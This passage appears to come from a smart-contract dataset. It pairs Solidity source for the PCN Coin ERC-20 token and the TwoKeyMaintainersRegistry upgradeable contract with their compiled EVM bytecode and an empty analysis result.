return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract PCNCoin is BurnableToken, Ownable { string public constant name = "PCN Coin"; string public constant symbol = "PCN"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 900000000 * (10 ** uint256(decimals)); // Constructors function PCNCoin () { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce56714610285578063378dc3dc146102b057806342966c68146102db578063661884631461030857806370a082311461036d5780638da5cb5b146103c457806395d89b411461041b578063a9059cbb146104ab578063d73dd62314610510578063dd62ed3e14610575578063f2fde38b146105ec575b600080fd5b3480156100ec57600080fd5b506100f561062f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610668565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61075a565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610760565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610a4c565b6040518082815260200191505060405180910390f35b3480156102bc57600080fd5b506102c5610a51565b6040518082815260200191505060405180910390f35b3480156102e757600080fd5b5061030660048036038101908080359060200190929190505050610a5f565b005b34801561031457600080fd5b50610353600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c28565b604051808215151515815260200191505060405180910390f35b34801561037957600080fd5b506103ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb9565b6040518082815260200191505060405180910390f35b3480156103d057600080fd5b506103d9610f02565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042757600080fd5b50610430610f28565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610470578082015181840152602081019050610455565b50505050905090810190601f16801561049d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104b757600080fd5b506104f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f61565b604051808215151515815260200191505060405180910390f35b34801561051c57600080fd5b5061055b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611137565b604051808215151515815260200191505060405180910390f35b34801561058157600080fd5b506105d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611333565b6040518082815260200191505060405180910390f35b3480156105f857600080fd5b5061062d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113ba565b005b6040805190810160405280600881526020017f50434e20436f696e00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561079f57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061087083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151290919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095b838261151290919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6335a4e9000281565b60008082111515610a6f57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610abd57600080fd5b339050610b1282600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151290919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6a8260005461151290919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d39576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcd565b610d4c838261151290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f50434e000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f9e57600080fd5b610ff082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061108582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006111c882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561145257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561152057fe5b818303905092915050565b600080828401905083811015151561153f57fe5b80915050929150505600a165627a7a7230582096ff2e609b9b1ca8e03969dcda5b462f04b92b53e27e79e322b8bafca5a957eb0029
{"success": true, "error": null, "results": {}}
6,809
0x8579970692bf77fafeeb017f07dec9a8fdb4893d
pragma solidity ^0.4.13; contract IStructuredStorage { function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external; function setProxyLogicContract(address _proxyLogicContract) external; // *** Getter Methods *** function getUint(bytes32 _key) external view returns(uint); function getString(bytes32 _key) external view returns(string); function getAddress(bytes32 _key) external view returns(address); function getBytes(bytes32 _key) external view returns(bytes); function getBool(bytes32 _key) external view returns(bool); function getInt(bytes32 _key) external view returns(int); function getBytes32(bytes32 _key) external view returns(bytes32); // *** Getter Methods For Arrays *** function getBytes32Array(bytes32 _key) external view returns (bytes32[]); function getAddressArray(bytes32 _key) external view returns (address[]); function getUintArray(bytes32 _key) external view returns (uint[]); function getIntArray(bytes32 _key) external view returns (int[]); function getBoolArray(bytes32 _key) external view returns (bool[]); // *** Setter Methods *** function setUint(bytes32 _key, uint _value) external; function setString(bytes32 _key, string _value) external; function setAddress(bytes32 _key, address _value) external; function setBytes(bytes32 _key, bytes _value) external; function setBool(bytes32 _key, bool _value) external; function setInt(bytes32 _key, int _value) external; function setBytes32(bytes32 _key, bytes32 _value) external; // *** Setter Methods For Arrays *** function setBytes32Array(bytes32 _key, bytes32[] _value) external; function setAddressArray(bytes32 _key, address[] _value) external; function setUintArray(bytes32 _key, uint[] _value) external; function setIntArray(bytes32 _key, int[] _value) external; function setBoolArray(bytes32 _key, bool[] _value) external; // *** Delete Methods *** function deleteUint(bytes32 _key) external; function deleteString(bytes32 _key) external; function deleteAddress(bytes32 _key) external; function deleteBytes(bytes32 _key) external; function deleteBool(bytes32 _key) external; function deleteInt(bytes32 _key) external; function deleteBytes32(bytes32 _key) external; } contract ITwoKeySingletoneRegistryFetchAddress { function getContractProxyAddress(string _contractName) public view returns (address); function getNonUpgradableContractAddress(string contractName) public view returns (address); function getLatestCampaignApprovedVersion(string campaignType) public view returns (string); } interface ITwoKeySingletonesRegistry { /** * @dev This event will be emitted every time a new proxy is created * @param proxy representing the address of the proxy created */ event ProxyCreated(address proxy); /** * @dev This event will be emitted every time a new implementation is registered * @param version representing the version name of the registered implementation * @param implementation representing the address of the registered implementation * @param contractName is the name of the contract we added new version */ event VersionAdded(string version, address implementation, string contractName); /** * @dev Registers a new version with its implementation address * @param version representing the version name of the new implementation to be registered * @param implementation representing the address of the new implementation to be registered */ function addVersion(string _contractName, string version, address implementation) public; /** * @dev Tells the address of the implementation for a given version * @param _contractName is the name of the contract we're querying * @param version to query the implementation of * @return address of the implementation registered for the given version */ function getVersion(string _contractName, string version) public view returns (address); } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; require(c >= _a); return c; } } contract UpgradeabilityStorage { // Versions registry ITwoKeySingletonesRegistry internal registry; // Address of the current implementation address internal _implementation; /** * @dev Tells the address of the current implementation * @return address of the current implementation */ function implementation() public view returns (address) { return _implementation; } } contract Upgradeable is UpgradeabilityStorage { /** * @dev Validates the caller is the versions registry. * @param sender representing the address deploying the initial behavior of the contract */ function initialize(address sender) public payable { require(msg.sender == address(registry)); } } contract TwoKeyMaintainersRegistryAbstract is Upgradeable { /** * All keys used for the storage contract. * Saved as a constants to avoid any potential typos */ string constant _isMaintainer = "isMaintainer"; string constant _isCoreDev = "isCoreDev"; string constant _idToMaintainer = "idToMaintainer"; string constant _idToCoreDev = "idToCoreDev"; string constant _numberOfMaintainers = "numberOfMaintainers"; string constant _numberOfCoreDevs = "numberOfCoreDevs"; string constant _numberOfActiveMaintainers = "numberOfActiveMaintainers"; string constant _numberOfActiveCoreDevs = "numberOfActiveCoreDevs"; //For all math operations we use safemath using SafeMath for *; // Flag which will make function setInitialParams callable only once bool initialized; address public TWO_KEY_SINGLETON_REGISTRY; IStructuredStorage public PROXY_STORAGE_CONTRACT; /** * @notice Function which can be called only once, and is used as replacement for a constructor * @param _twoKeySingletonRegistry is the address of TWO_KEY_SINGLETON_REGISTRY contract * @param _proxyStorage is the address of proxy of storage contract * @param _maintainers is the array of initial maintainers we'll kick off contract with */ function setInitialParams( address _twoKeySingletonRegistry, address _proxyStorage, address [] _maintainers, address [] _coreDevs ) public { require(initialized == false); TWO_KEY_SINGLETON_REGISTRY = _twoKeySingletonRegistry; PROXY_STORAGE_CONTRACT = IStructuredStorage(_proxyStorage); //Deployer is also maintainer addMaintainer(msg.sender); //Set initial maintainers for(uint i=0; i<_maintainers.length; i++) { addMaintainer(_maintainers[i]); } //Set initial core devs for(uint j=0; j<_coreDevs.length; j++) { addCoreDev(_coreDevs[j]); } //Once this executes, this function will not be possible to call again. initialized = true; } /** * @notice Function which will determine if address is maintainer */ function checkIsAddressMaintainer(address _sender) public view returns (bool) { return isMaintainer(_sender); } /** * @notice Function which will determine if address is core dev */ function checkIsAddressCoreDev(address _sender) public view returns (bool) { return isCoreDev(_sender); } /** * @notice Function to get all maintainers set DURING CAMPAIGN CREATION */ function getAllMaintainers() public view returns (address[]) { uint numberOfMaintainersTotal = getNumberOfMaintainers(); uint numberOfActiveMaintainers = getNumberOfActiveMaintainers(); address [] memory activeMaintainers = new address[](numberOfActiveMaintainers); uint counter = 0; for(uint i=0; i<numberOfMaintainersTotal; i++) { address maintainer = getMaintainerPerId(i); if(isMaintainer(maintainer)) { activeMaintainers[counter] = maintainer; counter = counter.add(1); } } return activeMaintainers; } /** * @notice Function to get all maintainers set DURING CAMPAIGN CREATION */ function getAllCoreDevs() public view returns (address[]) { uint numberOfCoreDevsTotal = getNumberOfCoreDevs(); uint numberOfActiveCoreDevs = getNumberOfActiveCoreDevs(); address [] memory activeCoreDevs = new address[](numberOfActiveCoreDevs); uint counter = 0; for(uint i=0; i<numberOfActiveCoreDevs; i++) { address coreDev= getCoreDevPerId(i); if(isCoreDev(coreDev)) { activeCoreDevs[counter] = coreDev; counter = counter.add(1); } } return activeCoreDevs; } /** * @notice Function to check if address is maintainer * @param _address is the address we're checking if it's maintainer or not */ function isMaintainer( address _address ) internal view returns (bool) { bytes32 keyHash = keccak256(_isMaintainer, _address); return PROXY_STORAGE_CONTRACT.getBool(keyHash); } /** * @notice Function to check if address is coreDev * @param _address is the address we're checking if it's coreDev or not */ function isCoreDev( address _address ) internal view returns (bool) { bytes32 keyHash = keccak256(_isCoreDev, _address); return PROXY_STORAGE_CONTRACT.getBool(keyHash); } /** * @notice Function which will add maintainer * @param _maintainer is the address of new maintainer we're adding */ function addMaintainer( address _maintainer ) internal { bytes32 keyHashIsMaintainer = keccak256(_isMaintainer, _maintainer); // Fetch the id for the new maintainer uint id = getNumberOfMaintainers(); // Generate keyHash for this maintainer bytes32 keyHashIdToMaintainer = keccak256(_idToMaintainer, id); // Representing number of different maintainers incrementNumberOfMaintainers(); // Representing number of currently active maintainers incrementNumberOfActiveMaintainers(); PROXY_STORAGE_CONTRACT.setAddress(keyHashIdToMaintainer, _maintainer); PROXY_STORAGE_CONTRACT.setBool(keyHashIsMaintainer, true); } /** * @notice Function which will add maintainer * @param _coreDev is the address of new maintainer we're adding */ function addCoreDev( address _coreDev ) internal { bytes32 keyHashIsCoreDev = keccak256(_isCoreDev, _coreDev); // Fetch the id for the new core dev uint id = getNumberOfCoreDevs(); // Generate keyHash for this core dev bytes32 keyHashIdToCoreDev= keccak256(_idToCoreDev, id); // Representing number of different core devs incrementNumberOfCoreDevs(); // Representing number of currently active core devs incrementNumberOfActiveCoreDevs(); PROXY_STORAGE_CONTRACT.setAddress(keyHashIdToCoreDev, _coreDev); PROXY_STORAGE_CONTRACT.setBool(keyHashIsCoreDev, true); } /** * @notice Function which will remove maintainer * @param _maintainer is the address of the maintainer we're removing */ function removeMaintainer( address _maintainer ) internal { bytes32 keyHashIsMaintainer = keccak256(_isMaintainer, _maintainer); decrementNumberOfActiveMaintainers(); PROXY_STORAGE_CONTRACT.setBool(keyHashIsMaintainer, false); } /** * @notice Function which will remove maintainer * @param _coreDev is the address of the maintainer we're removing */ function removeCoreDev( address _coreDev ) internal { bytes32 keyHashIsCoreDev = keccak256(_isCoreDev , _coreDev); decrementNumberOfActiveCoreDevs(); PROXY_STORAGE_CONTRACT.setBool(keyHashIsCoreDev, false); } function getNumberOfMaintainers() public view returns (uint) { return PROXY_STORAGE_CONTRACT.getUint(keccak256(_numberOfMaintainers)); } function getNumberOfCoreDevs() public view returns (uint) { return PROXY_STORAGE_CONTRACT.getUint(keccak256(_numberOfCoreDevs)); } function getNumberOfActiveMaintainers() public view returns (uint) { return PROXY_STORAGE_CONTRACT.getUint(keccak256(_numberOfActiveMaintainers)); } function getNumberOfActiveCoreDevs() public view returns (uint) { return PROXY_STORAGE_CONTRACT.getUint(keccak256(_numberOfActiveCoreDevs)); } function incrementNumberOfMaintainers() internal { bytes32 keyHashNumberOfMaintainers = keccak256(_numberOfMaintainers); PROXY_STORAGE_CONTRACT.setUint( keyHashNumberOfMaintainers, PROXY_STORAGE_CONTRACT.getUint(keyHashNumberOfMaintainers).add(1) ); } function incrementNumberOfCoreDevs() internal { bytes32 keyHashNumberOfCoreDevs = keccak256(_numberOfCoreDevs); PROXY_STORAGE_CONTRACT.setUint( keyHashNumberOfCoreDevs, PROXY_STORAGE_CONTRACT.getUint(keyHashNumberOfCoreDevs).add(1) ); } function incrementNumberOfActiveMaintainers() internal { bytes32 keyHashNumberOfActiveMaintainers = keccak256(_numberOfActiveMaintainers); PROXY_STORAGE_CONTRACT.setUint( keyHashNumberOfActiveMaintainers, PROXY_STORAGE_CONTRACT.getUint(keyHashNumberOfActiveMaintainers).add(1) ); } function incrementNumberOfActiveCoreDevs() internal { bytes32 keyHashNumberToActiveCoreDevs= keccak256(_numberOfActiveCoreDevs); PROXY_STORAGE_CONTRACT.setUint( keyHashNumberToActiveCoreDevs, PROXY_STORAGE_CONTRACT.getUint(keyHashNumberToActiveCoreDevs).add(1) ); } function decrementNumberOfActiveMaintainers() internal { bytes32 keyHashNumberOfActiveMaintainers = keccak256(_numberOfActiveMaintainers); PROXY_STORAGE_CONTRACT.setUint( keyHashNumberOfActiveMaintainers, PROXY_STORAGE_CONTRACT.getUint(keyHashNumberOfActiveMaintainers).sub(1) ); } function decrementNumberOfActiveCoreDevs() internal { bytes32 keyHashNumberToActiveCoreDevs = keccak256(_numberOfActiveCoreDevs); PROXY_STORAGE_CONTRACT.setUint( keyHashNumberToActiveCoreDevs, PROXY_STORAGE_CONTRACT.getUint(keyHashNumberToActiveCoreDevs).sub(1) ); } function getMaintainerPerId( uint _id ) public view returns (address) { return PROXY_STORAGE_CONTRACT.getAddress(keccak256(_idToMaintainer,_id)); } function getCoreDevPerId( uint _id ) public view returns (address) { return PROXY_STORAGE_CONTRACT.getAddress(keccak256(_idToCoreDev,_id)); } // Internal function to fetch address from TwoKeyRegistry function getAddressFromTwoKeySingletonRegistry(string contractName) internal view returns (address) { return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY) .getContractProxyAddress(contractName); } } contract TwoKeyMaintainersRegistry is TwoKeyMaintainersRegistryAbstract { /** * @notice Modifier to restrict calling the method to anyone but twoKeyAdmin */ modifier onlyTwoKeyAdmin() { address twoKeyAdmin = getAddressFromTwoKeySingletonRegistry("TwoKeyAdmin"); require(msg.sender == address(twoKeyAdmin)); _; } /** * @notice Function which can add new maintainers, in general it's array because this supports adding multiple addresses in 1 trnx * @dev only twoKeyAdmin contract is eligible to mutate state of maintainers * @param _maintainers is the array of maintainer addresses */ function addMaintainers( address [] _maintainers ) public onlyTwoKeyAdmin { uint numberOfMaintainersToAdd = _maintainers.length; for(uint i=0; i<numberOfMaintainersToAdd; i++) { addMaintainer(_maintainers[i]); } } /** * @notice Function which can add new core devs, in general it's array because this supports adding multiple addresses in 1 trnx * @dev only twoKeyAdmin contract is eligible to mutate state of core devs * @param _coreDevs is the array of core developer addresses */ function addCoreDevs( address [] _coreDevs ) public onlyTwoKeyAdmin { uint numberOfCoreDevsToAdd = _coreDevs.length; for(uint i=0; i<numberOfCoreDevsToAdd; i++) { addCoreDev(_coreDevs[i]); } } /** * @notice Function which can remove some maintainers, in general it's array because this supports adding multiple addresses in 1 trnx * @dev only twoKeyAdmin contract is eligible to mutate state of maintainers * @param _maintainers is the array of maintainer addresses */ function removeMaintainers( address [] _maintainers ) public onlyTwoKeyAdmin { //If state variable, .balance, or .length is used several times, holding its value in a local variable is more gas efficient. uint numberOfMaintainers = _maintainers.length; for(uint i=0; i<numberOfMaintainers; i++) { removeMaintainer(_maintainers[i]); } } /** * @notice Function which can remove some maintainers, in general it's array because this supports adding multiple addresses in 1 trnx * @dev only twoKeyAdmin contract is eligible to mutate state of maintainers * @param _coreDevs is the array of maintainer addresses */ function removeCoreDevs( address [] _coreDevs ) public onlyTwoKeyAdmin { //If state variable, .balance, or .length is used several times, holding its value in a local variable is more gas efficient. uint numberOfCoreDevs = _coreDevs.length; for(uint i=0; i<numberOfCoreDevs; i++) { removeCoreDev(_coreDevs[i]); } } }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063105005a11461010c5780631d4bf2c91461016357806327d8fa09146101c957806338c022cd1461022f57806339fe61261461029b578063428be84f146103085780634a5ceac8146103745780635c60da1b1461045d5780635cc7815c146104b4578063705a483b1461050f57806380b4bb7214610575578063835ff91c146105a05780638830afa0146105cb5780639ff68ffb14610622578063a7510dd71461068f578063c4d66de8146106f5578063c5f47de01461072b578063e96dbd5714610756578063fe827114146107b1575b600080fd5b34801561011857600080fd5b506101216107dc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016f57600080fd5b506101c760048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610802565b005b3480156101d557600080fd5b5061022d600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506108c5565b005b34801561023b57600080fd5b50610244610988565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561028757808201518184015260208101905061026c565b505050509050019250505060405180910390f35b3480156102a757600080fd5b506102c660048036038101908080359060200190929190505050610a7f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561031457600080fd5b5061031d610bfb565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610360578082015181840152602081019050610345565b505050509050019250505060405180910390f35b34801561038057600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610cf2565b005b34801561046957600080fd5b50610472610e3a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c057600080fd5b506104f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e64565b604051808215151515815260200191505060405180910390f35b34801561051b57600080fd5b5061057360048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610e76565b005b34801561058157600080fd5b5061058a610f39565b6040518082815260200191505060405180910390f35b3480156105ac57600080fd5b506105b56110ab565b6040518082815260200191505060405180910390f35b3480156105d757600080fd5b506105e061121d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561062e57600080fd5b5061064d60048036038101908080359060200190929190505050611243565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561069b57600080fd5b506106f3600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506113bf565b005b610729600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611482565b005b34801561073757600080fd5b506107406114e0565b6040518082815260200191505060405180910390f35b34801561076257600080fd5b50610797600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611652565b604051808215151515815260200191505060405180910390f35b3480156107bd57600080fd5b506107c6611664565b6040518082815260200191505060405180910390f35b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060006108456040805190810160405280600b81526020017f54776f4b657941646d696e0000000000000000000000000000000000000000008152506117d6565b90508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088157600080fd5b8351